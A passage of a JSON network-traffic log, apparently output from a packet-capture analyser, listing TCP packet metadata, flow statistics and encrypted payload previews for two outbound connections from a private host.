\"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1777220773.891146, \"timestamp_iso\": \"2026-04-26T21:56:13.891146\", \"timestamp_human\": \"2026-04-26 21:56:13.891\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46852, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 8, \"timestamp\": 1777220774.833673, \"timestamp_iso\": \"2026-04-26T21:56:14.833673\", \"timestamp_human\": \"2026-04-26 21:56:14.833\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46853, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 9, \"timestamp\": 1777220775.099347, \"timestamp_iso\": \"2026-04-26T21:56:15.099347\", \"timestamp_human\": \"2026-04-26 21:56:15.099\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46854, \"ip_len\": 288, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 10, \"timestamp\": 1777220776.302843, \"timestamp_iso\": \"2026-04-26T21:56:16.302843\", \"timestamp_human\": \"2026-04-26 21:56:16.302\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46855, \"ip_len\": 288, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 11, \"timestamp\": 1777220777.241979, \"timestamp_iso\": \"2026-04-26T21:56:17.241979\", \"timestamp_human\": \"2026-04-26 21:56:17.241\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46856, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1777220777.540151, \"timestamp_iso\": \"2026-04-26T21:56:17.540151\", \"timestamp_human\": \"2026-04-26 21:56:17.540\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46857, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 13, \"timestamp\": 1777220780.042037, \"timestamp_iso\": \"2026-04-26T21:56:20.042037\", \"timestamp_human\": \"2026-04-26 21:56:20.042\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46858, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 14, \"timestamp\": 1777220782.045756, \"timestamp_iso\": \"2026-04-26T21:56:22.045756\", \"timestamp_human\": \"2026-04-26 21:56:22.045\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46859, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1777220784.843165, \"timestamp_iso\": \"2026-04-26T21:56:24.843165\", \"timestamp_human\": \"2026-04-26 21:56:24.843\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46860, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 16, \"timestamp\": 1777220791.653311, \"timestamp_iso\": \"2026-04-26T21:56:31.653311\", \"timestamp_human\": \"2026-04-26 21:56:31.653\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46861, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783903, \"tcp_ack\": 1692602478, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}, {\"packet_number\": 17, \"timestamp\": 1777220794.498954, \"timestamp_iso\": \"2026-04-26T21:56:34.498954\", \"timestamp_human\": \"2026-04-26 21:56:34.498\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46862, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411405, \"tcp_ack\": 1369756557, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"PSH\": 16, \"ACK\": 18, \"RST\": 2}, \"packet_sizes\": [153, 153, 153, 153, 302, 302, 153, 302, 153, 302, 302, 153, 302, 302, 153, 302, 54, 54], \"inter_packet_intervals\": [0.3056650161743164, 0.6091690063476562, 1.203127145767212, 0.5851747989654541, 0.3054192066192627, 0.3318319320678711, 0.2709228992462158, 0.9425270557403564, 0.2656741142272949, 1.203495979309082, 0.9391357898712158, 0.2981719970703125, 2.5018861293792725, 2.0037190914154053, 2.7974088191986084, 6.81014609336853, 2.8456430435180664], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 24.219118118286133, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7432145097970962, \"bytes_per_second\": 154.75377681775092, \"min_packet_size\": 54, \"max_packet_size\": 302, \"median_packet_size\": 153, \"avg_interval\": 1.4246540069580078, \"min_interval\": 0.2656741142272949, \"max_interval\": 6.81014609336853}, {\"source\": \"192.168.122.168\", \"target\": \"185.90.162.118\", \"packet_count\": 18, \"total_bytes\": 1996, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ports\": [50181, 50200, 50210], \"dst_ports\": [25180], \"first_packet\": 1777220913.941789, \"last_packet\": 1777220968.655806, \"packets\": [{\"packet_number\": 18, \"timestamp\": 1777220913.941789, \"timestamp_iso\": \"2026-04-26T21:58:33.941789\", \"timestamp_human\": \"2026-04-26 21:58:33.941\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31310, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50181, \"dst_port\": 25180, \"tcp_seq\": 1740357464, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 20, \"timestamp\": 1777220913.942031, \"timestamp_iso\": \"2026-04-26T21:58:33.942031\", \"timestamp_human\": \"2026-04-26 21:58:33.942\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31311, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50181, \"dst_port\": 25180, \"tcp_seq\": 1740357465, \"tcp_ack\": 3595830528, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 21, \"timestamp\": 1777220914.206081, \"timestamp_iso\": \"2026-04-26T21:58:34.206081\", \"timestamp_human\": \"2026-04-26 21:58:34.206\", \"size\": 58, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31312, \"ip_len\": 44, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50181, \"dst_port\": 25180, \"tcp_seq\": 1740357465, \"tcp_ack\": 3595830528, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 4, \"payload_preview\": \"20010000\", \"payload_ascii\": \" \\u0001\\u0000\\u0000\"}, {\"packet_number\": 23, \"timestamp\": 1777220914.206297, \"timestamp_iso\": \"2026-04-26T21:58:34.206297\", \"timestamp_human\": \"2026-04-26 21:58:34.206\", \"size\": 342, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31313, \"ip_len\": 328, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50181, \"dst_port\": 25180, \"tcp_seq\": 1740357469, \"tcp_ack\": 3595830528, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 288, \"payload_preview\": \"c199d0c2639297e2aab54011f662cb4ca2a400ace08a2bb2b9ad26bd024b22adf02bad4ab0cdbe8e40f0cc71040d2b33608fd26b0aa062391e54d1a2f036c06d83863353102f140d96d8d757c8141a052111dd3117afc34b411f4450a2775641a858a71cb3b2b209aa5e843156ef75071085e7bc8846c328b124b07ed542efa2fcefd287f3a6b590c579b04e416959b9cdcde5e778e9008d6c3b89b5df5891e33aa003b5f8e8d9f31f1e1dfcc2032a18d23e519ae257a22fe36c1b097d54757646963f4e0bd382da0855b4cbd8d543cc7d1a0fa242b7effe93aac66d3ac2ba170eca0a6103f3a13c5815bb829ed2075a51fb14205ceebb841f491ad30ed81cf655460a5db99677329ff5aa15303cd8196d89a52835ff5debafb7055de2c1f003\", \"payload_ascii\": \"c@\\u0011bL\\u0000+&\\u0002K\\\"+J@q\\u0004\\r+3`k\\nb9\\u001eT6m3S\\u0010/\\u0014\\rW\\u0014\\u001a\\u0005!\\u00111\\u0017KA\\u001fDPwVAX\\u001c\\t^1Vu\\u0007\\u0010F($~ByNAiYx\\u0000l;X:\\u0003\\u001f\\u001e\\u001d\\u0003*\\u0018>QW/l\\u001b\\t}TuvF?N\\u000b\\bUC}\\u001a\\u000fBm:\\u0017\\u000e\\na\\u0003<X\\u0015\\u0007ZQ\\u0014 \\\\\\u001fI\\u001a\\u000e\\u001cUF\\n]w2\\u00150<\\u0019m(5]\\u0005]\\u0003\"}, {\"packet_number\": 26, \"timestamp\": 1777220940.358774, \"timestamp_iso\": \"2026-04-26T21:59:00.358774\", \"timestamp_human\": \"2026-04-26 21:59:00.358\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31314, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50181, \"dst_port\": 25180, \"tcp_seq\": 1740357757, \"tcp_ack\": 3595830529, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 27, \"timestamp\": 1777220940.377157, \"timestamp_iso\": \"2026-04-26T21:59:00.377157\", \"timestamp_human\": \"2026-04-26 21:59:00.377\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31315, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50181, \"dst_port\": 25180, \"tcp_seq\": 1740357757, \"tcp_ack\": 3595830529, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 29, \"timestamp\": 1777220940.378016, \"timestamp_iso\": \"2026-04-26T21:59:00.378016\", \"timestamp_human\": \"2026-04-26 21:59:00.378\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31316, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50200, \"dst_port\": 25180, \"tcp_seq\": 4179116416, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 31, \"timestamp\": 1777220940.378181, \"timestamp_iso\": \"2026-04-26T21:59:00.378181\", \"timestamp_human\": \"2026-04-26 21:59:00.378\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31317, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50200, \"dst_port\": 25180, \"tcp_seq\": 4179116417, \"tcp_ack\": 106768472, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 32, \"timestamp\": 1777220940.378954, \"timestamp_iso\": \"2026-04-26T21:59:00.378954\", \"timestamp_human\": \"2026-04-26 21:59:00.378\", \"size\": 58, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31318, \"ip_len\": 44, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50200, \"dst_port\": 25180, \"tcp_seq\": 4179116417, \"tcp_ack\": 106768472, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 4, \"payload_preview\": \"50010000\", \"payload_ascii\": \"P\\u0001\\u0000\\u0000\"}, {\"packet_number\": 34, \"timestamp\": 1777220940.379176, \"timestamp_iso\": \"2026-04-26T21:59:00.379176\", \"timestamp_human\": \"2026-04-26 21:59:00.379\", \"size\": 390, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31319, \"ip_len\": 376, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50200, \"dst_port\": 25180, \"tcp_seq\": 4179116421, \"tcp_ack\": 106768472, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 336, \"payload_preview\": \"78a9787fa2fb6fe70b366dce8903493c26589f51fccc01b1478034804623270117ba341e7b87569a7b94477b0f11e7550ea87d7305d05fb4f0f22b14877bcd2bbb5b572e02f46d9c7f1987a942dfb347dc1e3d09d09e8bbc6b41851f6c145af72466e396db3699b24664d753b99585febbce8c34b2480142e6ffa5f8b6d6fc4f74cd8f73d6b9ec6e23a4fa6efaa589d4196be5d67ece7a02fe2ca80526a0987beb79408615172cc342a731b7486247bc16e137f4e376ac9de8595b1c24e3381ba370616c370309463ed6188e8428785e797cd36dcd133fbe319fb8d02a52bc7a1833963fd5ff28a36dfa436f723d77a8c6e29db8798de0fea6836a753f983aeac41b6856463b162f2ca1dd2e358c7bc0c1df4673a9dec0de3c6c61968fa9984f062959010005c2e0f011c1c0c28d516c924150b43d2abc1d04dbe6bd27ca679a5e376e142319cf9831930cb0f0260e83\", \"payload_ascii\": \"xx\\u007fo\\u000b6m\\u0003I<&XQ\\u0001G4F#'\\u0001\\u00174\\u001e{V{G{\\u000f\\u0011U\\u000e}s\\u0005_+\\u0014{+[W.\\u0002m\\u007f\\u0019BG\\u001e=\\tkA\\u001fl\\u0014Z$f6FdS4H\\u0001BOtsn#n\\u0019k~z\\u0002,\\u0005&{y@\\u0015\\u0017,B1HbG\\u00167vY[\\u001c$8\\u001bpal7\\u0003\\tF>\\u0018(x^y|m\\u0013?1*Rz\\u00183?(mCor=wyju?:\\u001bhVF;\\u0016/,.5{Fs<laO\\u0006)Y\\u0001\\u0000\\u0005\\u0011QlAP=*\\u001d\\u0004'g^7n\\u0014#\\u00191\\f&\\u000e\"}, {\"packet_number\": 37, \"timestamp\": 1777220958.74393, \"timestamp_iso\": \"2026-04-26T21:59:18.743930\", \"timestamp_human\": \"2026-04-26 21:59:18.743\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31320, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50200, \"dst_port\": 25180, \"tcp_seq\": 4179116757, \"tcp_ack\": 106768473, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 38, \"timestamp\": 1777220958.744131, \"timestamp_iso\": \"2026-04-26T21:59:18.744131\", \"timestamp_human\": \"2026-04-26 21:59:18.744\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31321, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50200, \"dst_port\": 25180, \"tcp_seq\": 4179116757, \"tcp_ack\": 106768473, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 40, \"timestamp\": 1777220958.744695, \"timestamp_iso\": \"2026-04-26T21:59:18.744695\", \"timestamp_human\": \"2026-04-26 21:59:18.744\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31322, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50210, \"dst_port\": 25180, \"tcp_seq\": 2010040453, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 42, \"timestamp\": 1777220958.74481, \"timestamp_iso\": \"2026-04-26T21:59:18.744810\", \"timestamp_human\": \"2026-04-26 21:59:18.744\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31323, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50210, \"dst_port\": 25180, \"tcp_seq\": 2010040454, \"tcp_ack\": 4216113773, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 43, \"timestamp\": 1777220958.745445, \"timestamp_iso\": \"2026-04-26T21:59:18.745445\", \"timestamp_human\": \"2026-04-26 21:59:18.745\", \"size\": 58, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31324, \"ip_len\": 44, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50210, \"dst_port\": 25180, \"tcp_seq\": 2010040454, \"tcp_ack\": 4216113773, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 4, \"payload_preview\": \"60010000\", \"payload_ascii\": \"`\\u0001\\u0000\\u0000\"}, {\"packet_number\": 45, \"timestamp\": 1777220958.745637, \"timestamp_iso\": \"2026-04-26T21:59:18.745637\", \"timestamp_human\": \"2026-04-26 21:59:18.745\", \"size\": 406, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31325, \"ip_len\": 392, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50210, \"dst_port\": 25180, \"tcp_seq\": 2010040458, \"tcp_ack\": 4216113773, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 352, \"payload_preview\": \"7ef1ccbc8ccc9f5eca96bbe0f0bff5ea61c238dac7f41f71d5595f925b2c40bb102a76965df81a90401e28e063891bd4d48f1d34ed471878e558f29b303c9ddba23a85a652944df78f61cab5726fb92b3f9485a2ad672ab8f3b9c216f2ba87d9635e1df205c8b5f1ac9565bb43687b203120d10ad0d739408fe039bd9c9d58337b27484256606fd36736f404c7f8b0090fb06b9c246806414cfeb339a247a262954acbad3a2b1e65c21bdb054aa571d55374aee86303492ab665e53c2e37a8c52b9f8eb07401cd494e1e7397e74479ce92701aa7653be936584e854b4b67fe1b414c1da388b4a26513a8c207404add32ef58c0e5295a38b61c9db28308ea7eaa4d3a4c629f7a016a5c4f667a1460effe804aa1b7974d57880ec02488be78dfe3c354c7bf9cf13984b125e2f31dbf9ca95f3edd34810b044e72d20059da05e21611338e336f983b916ad421d8973b751f40498d762e0157eea7999734a18efef0\", \"payload_ascii\": \"~^a8\\u001fqY_[,@\\u0010*v]\\u001a@\\u001e(c\\u001b\\u001d4G\\u0018xX0<:RMaro+?g*\\u0016c^\\u001d\\u0005eCh{ 1 \\n9@9X3{'HBV`og6\\u0004\\t\\u000fk$h\\u0006AL9GbJ:+\\u001ee\\u001b\\u0005JqStc\\u0003I*e<.7+t\\u0001IN\\u001esDyp\\u001ae;6XNKKg\\u001bAL\\u001de\\u0013\\u0007@J2X)Z8\\u001c\\b~M:Lbz\\u0001j\\\\Ofz\\u0014`JMW\\u000e$xT9%\\u001d_>4\\u000b\\u0004Nr\\u0000Y\\u0005\\u0016\\u001133o;j!;u\\u001f@Iv.\\u0001W4\"}, {\"packet_number\": 48, \"timestamp\": 1777220968.655606, \"timestamp_iso\": \"2026-04-26T21:59:28.655606\", \"timestamp_human\": \"2026-04-26 